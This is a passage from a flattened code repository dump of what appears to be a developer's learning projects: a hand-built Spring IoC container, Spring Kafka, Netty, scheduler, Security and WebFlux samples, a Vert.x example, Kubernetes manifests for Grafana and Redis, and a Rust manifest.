| 10 | T getBean(Class beanType)throws Exception; 11 | } 12 | -------------------------------------------------------------------------------- /java/spring/spring-custom/src/main/java/me/hvkcoder/spring/custom/BeanDefinition.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.custom; 2 | 3 | /** 4 | * Bean 的定义类 5 | * 6 | * @author h_vk 7 | * @since 2022/3/27 8 | */ 9 | public class BeanDefinition { 10 | /** 设置 Bean Scope 常量 */ 11 | public static final String SCOPE_SINGLETON = "singleton"; 12 | 13 | public static final String SCOPE_PROTOTYPE = "prototype"; 14 | 15 | private Class beanClass; 16 | private String scope; 17 | 18 | public Class getBeanClass() { 19 | return beanClass; 20 | } 21 | 22 | public void setBeanClass(Class beanClass) { 23 | this.beanClass = beanClass; 24 | } 25 | 26 | public String getScope() { 27 | return scope; 28 | } 29 | 30 | public void setScope(String scope) { 31 | this.scope = scope; 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /java/spring/spring-custom/src/main/java/me/hvkcoder/spring/custom/annotation/Autowired.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.custom.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | /** 9 | * @author h_vk 10 | * @since 2022/3/27 11 | */ 12 | @Target(ElementType.FIELD) 13 | @Retention(RetentionPolicy.RUNTIME) 14 | public @interface Autowired { 15 | 16 | } 17 | -------------------------------------------------------------------------------- /java/spring/spring-custom/src/main/java/me/hvkcoder/spring/custom/annotation/Component.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.custom.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | /** 9 | * @author h_vk 10 | * @since 2022/3/26 11 | */ 12 | @Target(ElementType.TYPE) 13 | @Retention(RetentionPolicy.RUNTIME) 14 | public @interface Component { 15 | String value() default ""; 16 | } 17 | -------------------------------------------------------------------------------- /java/spring/spring-custom/src/main/java/me/hvkcoder/spring/custom/annotation/ComponentScan.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.custom.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | /** 9 | * @author h_vk 10 | * @since 2022/3/26 11 | */ 12 | @Target(ElementType.TYPE) 13 | @Retention(RetentionPolicy.RUNTIME) 14 | public @interface ComponentScan { 15 | String value(); 16 | } 17 | -------------------------------------------------------------------------------- /java/spring/spring-custom/src/main/java/me/hvkcoder/spring/custom/annotation/Scope.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.custom.annotation; 2 | 3 | import me.hvkcoder.spring.custom.BeanDefinition; 4 | 5 | import java.lang.annotation.ElementType; 6 | import java.lang.annotation.Retention; 7 | import java.lang.annotation.RetentionPolicy; 8 | import java.lang.annotation.Target; 9 | 10 | /** 11 | * @author h_vk 12 | * @since 2022/3/27 13 | */ 14 | @Target(ElementType.TYPE) 15 | @Retention(RetentionPolicy.RUNTIME) 16 | public @interface Scope { 17 | String value() default BeanDefinition.SCOPE_SINGLETON; 18 | } 19 | -------------------------------------------------------------------------------- /java/spring/spring-custom/src/main/java/me/hvkcoder/spring/custom/aware/ApplicationContextAware.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.custom.aware; 2 | 3 | import me.hvkcoder.spring.custom.ApplicationContext; 4 | 5 | /** 6 | * @author h_vk 7 | * @since 2022/3/28 8 | */ 9 | public interface ApplicationContextAware extends Aware { 10 | void setApplicationContext(ApplicationContext applicationContext); 11 | } 12 | -------------------------------------------------------------------------------- /java/spring/spring-custom/src/main/java/me/hvkcoder/spring/custom/aware/Aware.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.custom.aware; 2 | 3 | /** 4 | * 一个标记接口,用于以回调方法的方式获取容器中的框架对象 5 | * 6 | * @author h_vk 7 | * @since 2022/3/28 8 | */ 9 | public interface Aware {} 10 | -------------------------------------------------------------------------------- /java/spring/spring-custom/src/main/java/me/hvkcoder/spring/custom/aware/BeanNameAware.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.custom.aware; 2 | 3 | import me.hvkcoder.spring.custom.aware.Aware; 4 | 5 | /** 6 | * @author h_vk 7 | * @since 2022/3/28 8 | */ 9 | public interface BeanNameAware extends Aware { 10 | void setBeanName(String name); 11 | } 12 | -------------------------------------------------------------------------------- /java/spring/spring-custom/src/main/java/me/hvkcoder/spring/custom/init/BeanPostProcessor.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.custom.init; 2 | 3 | /** 4 | * Bean 的后置处理器 5 | * 6 | * @author h_vk 7 | * @since 2022/3/28 8 | */ 9 | public interface BeanPostProcessor { 10 | 11 | /** 12 | * Bean 的前置处理器 13 | * 14 | * @param bean 15 | * @param beanName 16 | * @return 17 | */ 18 | default Object postProcessorBeforInitialization(Object bean, String beanName) { 19 | return bean; 20 | } 21 | 22 | /** 23 | * Bean 的后置处理器 24 | * 25 | * @param bean 26 | * @param beanName 27 | * @return 28 | */ 29 | default Object postProcessorAfterInitialization(Object bean, String beanName) { 30 | return bean; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /java/spring/spring-custom/src/main/java/me/hvkcoder/spring/custom/init/InitializingBean.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.custom.init; 2 | 3 | /** 4 | * 执行 Bean 自定义初始化接口 5 | * 6 | * @author h_vk 7 | * @since 2022/3/28 8 | */ 9 | public interface InitializingBean { 10 | 11 | /** 12 | * 对已经填充完属性的 Bean 自定义设置属性值 13 | * 14 | * @throws Exception 15 | */ 16 | void afterPropertiesSet() throws Exception; 17 | } 18 | -------------------------------------------------------------------------------- /java/spring/spring-custom/src/main/java/me/hvkcoder/spring/test/service/OrderService.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.test.service; 2 | 3 | import me.hvkcoder.spring.custom.ApplicationContext; 4 | import me.hvkcoder.spring.custom.annotation.Autowired; 5 | import me.hvkcoder.spring.custom.annotation.Component; 6 | import me.hvkcoder.spring.custom.aware.ApplicationContextAware; 7 | 8 | /** 9 | * @author h_vk 10 | * @since 2022/3/27 11 | */ 12 | @Component 13 | public class OrderService implements ApplicationContextAware { 14 | @Autowired private UserService userService; 15 | 16 | private ApplicationContext applicationContext; 17 | 18 | public UserService getUserService() { 19 | return userService; 20 | } 21 | 22 | public void setUserService(UserService userService) { 23 | this.userService = userService; 24 | } 25 | 26 | public ApplicationContext getApplicationContext() { 27 | return applicationContext; 28 | } 29 | 30 | @Override 31 | public void setApplicationContext(ApplicationContext applicationContext) { 32 | this.applicationContext = applicationContext; 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /java/spring/spring-custom/src/main/java/me/hvkcoder/spring/test/service/UserService.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.test.service; 2 | 3 | import me.hvkcoder.spring.custom.annotation.Autowired; 4 | import me.hvkcoder.spring.custom.annotation.Component; 5 | import me.hvkcoder.spring.custom.aware.BeanNameAware; 6 | import me.hvkcoder.spring.custom.init.InitializingBean; 7 | 8 | /** 9 | * @author h_vk 10 | * @since 2022/3/26 11 | */ 12 | @Component 13 | public class UserService implements BeanNameAware, InitializingBean { 14 | @Autowired private OrderService orderService; 15 | 16 | private String beanName; 17 | 18 | public OrderService getOrderService() { 19 | return orderService; 20 | } 21 | 22 | public void setOrderService(OrderService orderService) { 23 | this.orderService = orderService; 24 | } 25 | 26 | public String getBeanName() { 27 | return beanName; 28 | } 29 | 30 | @Override 31 | public void setBeanName(String name) { 32 | this.beanName = name; 33 | } 34 | 35 | @Override 36 | public void afterPropertiesSet() throws Exception { 37 | this.beanName = "H_VK"; 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /java/spring/spring-practice/build.gradle: -------------------------------------------------------------------------------- 1 | dependencies { 2 | testImplementation 'org.springframework.boot:spring-boot-starter-test' 3 | implementation 'org.springframework.boot:spring-boot-starter-websocket' 4 | implementation 'org.springframework.kafka:spring-kafka' 5 | implementation 'io.netty:netty-all:4.1.56.Final' 6 | 7 | implementation 'org.springframework.boot:spring-boot-starter-data-redis' 8 | implementation 'org.apache.commons:commons-pool2' 9 | } 10 | 11 | 12 | jar { 13 | archiveName("spring-practice.jar") 14 | processResources { 15 | exclude("*") 16 | } 17 | exclude("*.jar", "*.yml") 18 | dependsOn(extractFile) 19 | manifest { 20 | attributes( 21 | "Manifest-Version": "1.0", 22 | 'Main-Class': 'me.hvkcoder.spring.practice.PracticeApplication' 23 | ) 24 | } 25 | } -------------------------------------------------------------------------------- /java/spring/spring-practice/src/main/java/me/hvkcoder/spring/practice/kafka/KafkaConsumer.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.practice.kafka; 2 | 3 | import lombok.extern.slf4j.Slf4j; 4 | import org.apache.kafka.clients.consumer.ConsumerRecord; 5 | import org.springframework.kafka.annotation.KafkaListener; 6 | import org.springframework.stereotype.Component; 7 | 8 | /** 9 | * @author h_vk 10 | * @since 2021/7/28 11 | */ 12 | @Slf4j 13 | @Component 14 | public class KafkaConsumer { 15 | @KafkaListener(topics = {"test"}, containerFactory = "masterContainerFactory") 16 | public void masterConsumer(ConsumerRecord record){ 17 | log.info("master: {}",record.value()); 18 | } 19 | 20 | // @KafkaListener(topics = {"test"}, containerFactory = "slaveContainerFactory") 21 | // public void slaveConsumer(ConsumerRecord record){ 22 | // log.info("slave: {}",record.value()); 23 | // } 24 | } 25 | -------------------------------------------------------------------------------- /java/spring/spring-practice/src/main/java/me/hvkcoder/spring/practice/netty/ServerHandler.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.practice.netty; 2 | 3 | import io.netty.channel.ChannelHandlerContext; 4 | import io.netty.channel.SimpleChannelInboundHandler; 5 | import lombok.extern.slf4j.Slf4j; 6 | 7 | /** 8 | * @author h_vk 9 | * @since 2021/7/22 10 | */ 11 | @Slf4j 12 | public class ServerHandler extends SimpleChannelInboundHandler { 13 | @Override 14 | public void channelActive(ChannelHandlerContext ctx) throws Exception { 15 | log.info("客户端已连接:{}", ctx.channel().remoteAddress()); 16 | } 17 | 18 | @Override 19 | public void channelInactive(ChannelHandlerContext ctx) throws Exception { 20 | log.info("客户端已断开:{}", ctx.channel().remoteAddress()); 21 | } 22 | 23 | @Override 24 | protected void channelRead0(ChannelHandlerContext ctx, String msg) throws Exception { 25 | log.info("客户端消息:{}", msg); 26 | ctx.channel().writeAndFlush(msg); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /java/spring/spring-practice/src/main/java/me/hvkcoder/spring/practice/scheduler/SchedulerController.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.practice.scheduler; 2 | 3 | import lombok.AllArgsConstructor; 4 | import lombok.extern.slf4j.Slf4j; 5 | import me.hvkcoder.spring.practice.scheduler.config.SchedulerTask; 6 | import org.springframework.web.bind.annotation.GetMapping; 7 | import org.springframework.web.bind.annotation.RequestMapping; 8 | import org.springframework.web.bind.annotation.RestController; 9 | 10 | /** 11 | * @author h_vk 12 | * @since 2022/12/2 13 | */ 14 | 15 | @Slf4j 16 | @AllArgsConstructor 17 | @RestController 18 | @RequestMapping("/scheduler") 19 | public class SchedulerController { 20 | 21 | private SchedulerTask schedulerTask; 22 | 23 | 24 | @GetMapping("/update") 25 | public String updateCron(String cron) { 26 | log.info("new cron: {}", cron); 27 | schedulerTask.setCron(cron); 28 | return "ok"; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /java/spring/spring-practice/src/main/java/me/hvkcoder/spring/practice/scheduler/config/SchedulerTask.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.practice.scheduler.config; 2 | 3 | import lombok.Data; 4 | import lombok.extern.slf4j.Slf4j; 5 | import org.springframework.beans.factory.annotation.Value; 6 | import org.springframework.scheduling.annotation.SchedulingConfigurer; 7 | import org.springframework.scheduling.config.ScheduledTaskRegistrar; 8 | import org.springframework.scheduling.support.CronTrigger; 9 | import org.springframework.stereotype.Component; 10 | 11 | import java.time.LocalDateTime; 12 | 13 | /** 14 | * @author h_vk 15 | * @since 2022/12/2 16 | */ 17 | @Slf4j 18 | @Data 19 | @Component 20 | public class SchedulerTask implements SchedulingConfigurer { 21 | @Value("${scheduler.cron}") 22 | private String cron; 23 | 24 | @Override 25 | public void configureTasks(ScheduledTaskRegistrar taskRegistrar) { 26 | taskRegistrar.addTriggerTask(() -> log.info("Current DateTime: {}", LocalDateTime.now()), triggerContext -> { 27 | CronTrigger cronTrigger = new CronTrigger(cron); 28 | return cronTrigger.nextExecutionTime(triggerContext); 29 | }); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /java/spring/spring-practice/src/main/java/me/hvkcoder/spring/practice/websocket/WebSocketConfig.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.practice.websocket; 2 | 3 | import org.springframework.context.annotation.Bean; 4 | import org.springframework.context.annotation.Configuration; 5 | import org.springframework.web.socket.config.annotation.EnableWebSocket; 6 | import org.springframework.web.socket.server.standard.ServerEndpointExporter; 7 | 8 | /** 9 | * @author h_vk 10 | * @since 2021/7/20 11 | */ 12 | @Configuration 13 | @EnableWebSocket 14 | public class WebSocketConfig { 15 | @Bean 16 | public ServerEndpointExporter serverEndpoint() { 17 | return new ServerEndpointExporter(); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /java/spring/spring-practice/src/main/resources/application.yml: -------------------------------------------------------------------------------- 1 | server: 2 | port: 9000 3 | spring: 4 | application: 5 | name: spring-practice 6 | kafka: 7 | master: 8 | bootstrap-servers: k8s-180:9092 9 | consumer: 10 | group-id: test-group 11 | enable-auto-commit: true 12 | slave: 13 | bootstrap-servers: k8s-181:9092 14 | consumer: 15 | group-id: test-group 16 | enable-auto-commit: true 17 | redis: 18 | host: node-1 19 | port: 30379 20 | # jedis: 21 | # pool: 22 | # max-active: 8 23 | # max-idle: 8 24 | # max-wait: 100 25 | lettuce: 26 | pool: 27 | max-active: 8 28 | max-idle: 8 29 | max-wait: 100 30 | netty: 31 | host: 127.0.0.1 32 | port: 9001 33 | 34 | scheduler: 35 | cron: 0/10 * * * * ? 36 | -------------------------------------------------------------------------------- /java/spring/spring-practice/src/main/resources/redis/seckill.lua: -------------------------------------------------------------------------------- 1 | local inventoryKey = KEYS[1] 2 | if tonumber(redis.call("get", inventoryKey)) <= 0 then 3 | return -1 4 | else 5 | redis.call("decr", inventoryKey) 6 | end 7 | return 1 -------------------------------------------------------------------------------- /java/spring/spring-practice/src/main/resources/template/sse-practice.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SSE 实现 6 | 7 | 8 |

9 | 27 | 28 | -------------------------------------------------------------------------------- /java/spring/spring-security/build.gradle: -------------------------------------------------------------------------------- 1 | dependencies { 2 | implementation 'org.springframework.boot:spring-boot-starter-security' 3 | implementation 'org.springframework.boot:spring-boot-starter-thymeleaf' 4 | implementation 'org.springframework.boot:spring-boot-starter-data-jpa' 5 | implementation "mysql:mysql-connector-java:${mysqlVersion}" 6 | implementation 'com.github.penggle:kaptcha:2.3.2' 7 | implementation 'org.springframework.security:spring-security-cas:5.4.2' 8 | implementation 'org.jasig.cas.client:cas-client-core:3.5.1' 9 | } -------------------------------------------------------------------------------- /java/spring/spring-security/src/main/java/me/hvkcoder/spring_security/SpringSecurityApplication.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring_security; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | /** 7 | * @author h-vk 8 | * @since 2021/5/21 9 | */ 10 | @SpringBootApplication 11 | public class SpringSecurityApplication { 12 | public static void main(String[] args) { 13 | SpringApplication.run(SpringSecurityApplication.class, args); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /java/spring/spring-security/src/main/java/me/hvkcoder/spring_security/business/UserInfoService.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring_security.business; 2 | 3 | import me.hvkcoder.spring_security.domain.UserInfo; 4 | 5 | /** 6 | * @author h-vk 7 | * @since 2021/5/21 8 | */ 9 | public interface UserInfoService { 10 | UserInfo findUserInfoByUserName(String username); 11 | } 12 | -------------------------------------------------------------------------------- /java/spring/spring-security/src/main/java/me/hvkcoder/spring_security/business/impl/UserInfoServiceImpl.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring_security.business.impl; 2 | 3 | import me.hvkcoder.spring_security.business.UserInfoService; 4 | import me.hvkcoder.spring_security.domain.UserInfo; 5 | import me.hvkcoder.spring_security.repository.UserInfoRepository; 6 | import org.springframework.beans.factory.annotation.Autowired; 7 | import org.springframework.stereotype.Service; 8 | 9 | /** 10 | * @author h-vk 11 | * @since 2021/5/21 12 | */ 13 | @Service 14 | public class UserInfoServiceImpl implements UserInfoService { 15 | 16 | @Autowired 17 | private UserInfoRepository userInfoRepository; 18 | 19 | @Override 20 | public UserInfo findUserInfoByUserName(String username) { 21 | return userInfoRepository.findUserInfoByUserName(username); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /java/spring/spring-security/src/main/java/me/hvkcoder/spring_security/controller/IndexController.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring_security.controller; 2 | 3 | import me.hvkcoder.spring_security.business.UserInfoService; 4 | import me.hvkcoder.spring_security.domain.UserInfo; 5 | import org.springframework.beans.factory.annotation.Autowired; 6 | import org.springframework.security.access.prepost.PreAuthorize; 7 | import org.springframework.web.bind.annotation.RequestMapping; 8 | import org.springframework.web.bind.annotation.RestController; 9 | 10 | /** 11 | * @author h-vk 12 | * @since 2021/5/21 13 | */ 14 | @RestController 15 | public class IndexController { 16 | 17 | /** 18 | * normal 或 admin 角色可访问的接口 19 | * 20 | * @return 21 | */ 22 | @RequestMapping("/access/normal") 23 | @PreAuthorize(value = "hasAnyRole('normal', 'admin')") 24 | public String accessNormal() { 25 | return "Hello User"; 26 | } 27 | 28 | 29 | /** 30 | * admin 角色可访问的接口 31 | * 32 | * @return 33 | */ 34 | @RequestMapping("/access/admin") 35 | @PreAuthorize(value = "hasAnyRole('admin')") 36 | public String accessAdmin() { 37 | return "Hello Admin"; 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /java/spring/spring-security/src/main/java/me/hvkcoder/spring_security/domain/UserInfo.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring_security.domain; 2 | 3 | import lombok.Data; 4 | 5 | import javax.persistence.Entity; 6 | import javax.persistence.GeneratedValue; 7 | import javax.persistence.GenerationType; 8 | import javax.persistence.Id; 9 | 10 | /** 11 | * @author h-vk 12 | * @since 2021/5/21 13 | */ 14 | @Data 15 | @Entity 16 | public class UserInfo { 17 | 18 | @Id 19 | @GeneratedValue(strategy = GenerationType.AUTO) 20 | private String userId; 21 | 22 | private String userName; 23 | 24 | private String encryptedPassword; 25 | 26 | private String role; 27 | } 28 | -------------------------------------------------------------------------------- /java/spring/spring-security/src/main/java/me/hvkcoder/spring_security/repository/UserInfoRepository.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring_security.repository; 2 | 3 | import me.hvkcoder.spring_security.domain.UserInfo; 4 | import org.springframework.data.jpa.repository.JpaRepository; 5 | 6 | /** 7 | * @author h-vk 8 | * @since 2021/5/21 9 | */ 10 | public interface UserInfoRepository extends JpaRepository { 11 | UserInfo findUserInfoByUserName(String username); 12 | } 13 | -------------------------------------------------------------------------------- /java/spring/spring-security/src/main/resources/static/img/photo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/java/spring/spring-security/src/main/resources/static/img/photo.jpg -------------------------------------------------------------------------------- /java/spring/spring-webflux/build.gradle: -------------------------------------------------------------------------------- 1 | dependencies { 2 | implementation 'org.springframework.boot:spring-boot-starter-data-mongodb-reactive' 3 | } -------------------------------------------------------------------------------- /java/spring/spring-webflux/src/main/java/me/hvkcoder/spring/webflux/WebFluxApplication.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.webflux; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | /** 7 | * @author h_vk 8 | * @since 2022/1/27 9 | */ 10 | @SpringBootApplication 11 | public class WebFluxApplication { 12 | public static void main(String[] args) { 13 | SpringApplication.run(WebFluxApplication.class, args); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /java/spring/spring-webflux/src/main/java/me/hvkcoder/spring/webflux/domain/User.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.webflux.domain; 2 | 3 | import lombok.Data; 4 | import org.springframework.data.annotation.Id; 5 | import org.springframework.data.mongodb.core.mapping.Document; 6 | 7 | /** 8 | * @author h_vk 9 | * @since 2022/1/27 10 | */ 11 | @Data 12 | @Document("user") 13 | public class User { 14 | @Id 15 | private String id; 16 | private String name; 17 | private Integer age; 18 | } 19 | -------------------------------------------------------------------------------- /java/spring/spring-webflux/src/main/java/me/hvkcoder/spring/webflux/reactor/MonoUsage.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.webflux.reactor; 2 | 3 | import lombok.extern.slf4j.Slf4j; 4 | import reactor.core.publisher.Mono; 5 | 6 | import java.util.Optional; 7 | 8 | /** 9 | * Mono 返回 0-1 个数据 10 | * 11 | * @author h_vk 12 | * @since 2023/12/1 13 | */ 14 | @Slf4j 15 | public class MonoUsage { 16 | public static void main(String[] args) { 17 | // 1、指定元素 18 | Mono reactor = Mono.just("Reactor"); 19 | reactor.subscribe(log::info); 20 | 21 | System.out.println(); 22 | 23 | // 指定null元素 24 | Mono objectMono = Mono.justOrEmpty(Optional.empty()); 25 | objectMono.subscribe(s -> log.info("{}", s)); 26 | 27 | System.out.println(); 28 | 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /java/spring/spring-webflux/src/main/java/me/hvkcoder/spring/webflux/repository/UserRepository.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.webflux.repository; 2 | 3 | import me.hvkcoder.spring.webflux.domain.User; 4 | import org.springframework.data.mongodb.repository.MongoRepository; 5 | import org.springframework.data.mongodb.repository.ReactiveMongoRepository; 6 | import org.springframework.stereotype.Repository; 7 | 8 | /** 9 | * @author h_vk 10 | * @since 2022/1/27 11 | */ 12 | @Repository 13 | public interface UserRepository extends ReactiveMongoRepository { 14 | } 15 | -------------------------------------------------------------------------------- /java/spring/spring-webflux/src/main/resources/application.yml: -------------------------------------------------------------------------------- 1 | spring: 2 | data: 3 | mongodb: 4 | uri: mongodb://127.0.0.1:55000/webflux -------------------------------------------------------------------------------- /java/vertx/build.gradle: -------------------------------------------------------------------------------- 1 | dependencies { 2 | implementation 'io.vertx:vertx-web:4.0.0' 3 | implementation 'io.vertx:vertx-mysql-client:4.0.0' 4 | } 5 | -------------------------------------------------------------------------------- /java/vertx/src/main/java/me/hvkcoder/vertx/simple/PassConfigData.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.vertx.simple; 2 | 3 | import io.vertx.core.AbstractVerticle; 4 | import io.vertx.core.DeploymentOptions; 5 | import io.vertx.core.Vertx; 6 | import io.vertx.core.json.JsonObject; 7 | import lombok.extern.slf4j.Slf4j; 8 | 9 | /** 10 | * 传递配置数据 11 | * 12 | * @author h_vk 13 | * @since 2023/12/4 14 | */ 15 | @Slf4j 16 | public class PassConfigData extends AbstractVerticle { 17 | @Override 18 | public void start() throws Exception { 19 | log.info("n => {}", config().getInteger("n", -1)); 20 | } 21 | 22 | public static void main(String[] args) { 23 | Vertx vertx = Vertx.vertx(); 24 | for (int i = 0; i < 4; i++) { 25 | JsonObject json = new JsonObject().put("n", i); 26 | DeploymentOptions options = new DeploymentOptions() 27 | .setConfig(json) 28 | .setInstances(1); 29 | vertx.deployVerticle("me.hvkcoder.vertx.simple.PassConfigData", options); 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /java/vertx/src/main/resources/webroot/event-stream.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Title 6 | 7 | 8 |

Hello World

9 | 10 | 18 | 19 | -------------------------------------------------------------------------------- /kubernetes/grafana.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: grafana 5 | namespace: monitoring 6 | spec: 7 | replicas: 1 8 | selector: 9 | matchLabels: 10 | app: grafana 11 | strategy: 12 | type: RollingUpdate 13 | rollingUpdate: 14 | maxSurge: 1 15 | maxUnavailable: 1 16 | template: 17 | metadata: 18 | labels: 19 | app: grafana 20 | spec: 21 | containers: 22 | - name: grafana 23 | image: grafana/grafana:latest 24 | imagePullPolicy: IfNotPresent 25 | ports: 26 | - containerPort: 3000 27 | startupProbe: 28 | httpGet: 29 | port: 3000 30 | path: /api/health 31 | initialDelaySeconds: 60 32 | timeoutSeconds: 15 33 | successThreshold: 1 34 | failureThreshold: 1 35 | --- 36 | apiVersion: v1 37 | kind: Service 38 | metadata: 39 | name: grafana-svc 40 | namespace: monitoring 41 | spec: 42 | selector: 43 | app: grafana 44 | type: NodePort 45 | ports: 46 | - port: 3000 47 | nodePort: 30010 48 | 49 | -------------------------------------------------------------------------------- /kubernetes/redis.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: redis-svc 5 | namespace: database 6 | labels: 7 | app: redis 8 | spec: 9 | selector: 10 | app: redis 11 | type: NodePort 12 | ports: 13 | - name: redis-port 14 | port: 6379 15 | nodePort: 30679 16 | --- 17 | apiVersion: apps/v1 18 | kind: Deployment 19 | metadata: 20 | name: redis 21 | namespace: database 22 | labels: 23 | app: redis 24 | spec: 25 | replicas: 1 26 | selector: 27 | matchLabels: 28 | app: redis 29 | template: 30 | metadata: 31 | labels: 32 | app: redis 33 | spec: 34 | containers: 35 | - name: redis 36 | image: redis:latest 37 | imagePullPolicy: IfNotPresent 38 | ports: 39 | - name: redis-port 40 | containerPort: 6379 41 | -------------------------------------------------------------------------------- /python/basic/net.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "code", 5 | "execution_count": null, 6 | "metadata": {}, 7 | "outputs": [], 8 | "source": [] 9 | } 10 | ], 11 | "metadata": { 12 | "kernelspec": { 13 | "display_name": "Python 3.8.9 ('.venv': venv)", 14 | "language": "python", 15 | "name": "python3" 16 | }, 17 | "language_info": { 18 | "codemirror_mode": { 19 | "name": "ipython", 20 | "version": 3 21 | }, 22 | "file_extension": ".py", 23 | "mimetype": "text/x-python", 24 | "name": "python", 25 | "nbconvert_exporter": "python", 26 | "pygments_lexer": "ipython3", 27 | "version": "3.8.9" 28 | }, 29 | "orig_nbformat": 4, 30 | "vscode": { 31 | "interpreter": { 32 | "hash": "e1d30e79187653a64ff09eab781a151550c58b898f76aa0dc1787cd16f8572d8" 33 | } 34 | } 35 | }, 36 | "nbformat": 4, 37 | "nbformat_minor": 2 38 | } 39 | -------------------------------------------------------------------------------- /python/machine-learning.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": {}, 6 | "source": [ 7 | "### 深度学习(Deep Learning)\n", 8 | "\n", 9 | "深度学习是基于机器学习延伸出来的一个新的领域,由以人大脑结构为启发的神经网络算法为起源加之模型结构深度的增加发展,并伴随大数据和计算能力的提高而产生的一系列新的算法。" 10 | ] 11 | } 12 | ], 13 | "metadata": { 14 | "kernelspec": { 15 | "display_name": "Python 3.9.13 ('pytorch')", 16 | "language": "python", 17 | "name": "python3" 18 | }, 19 | "language_info": { 20 | "name": "python", 21 | "version": "3.9.13" 22 | }, 23 | "orig_nbformat": 4, 24 | "vscode": { 25 | "interpreter": { 26 | "hash": "0b5c9008cc28d0f4f547c14d26d01b3e8a0910744f49805b01893aeb4faad4cb" 27 | } 28 | } 29 | }, 30 | "nbformat": 4, 31 | "nbformat_minor": 2 32 | } 33 | -------------------------------------------------------------------------------- /rust/basic/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "basic" 3 | version = "0.1.0" 4 | edition = "2021" 5 | authors = ["Silence H_VK "] 6 | 7 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 8 | 9 | [dependencies] 10 | rand = "0.8.4" 11 | --------------------------------------------------------------------------------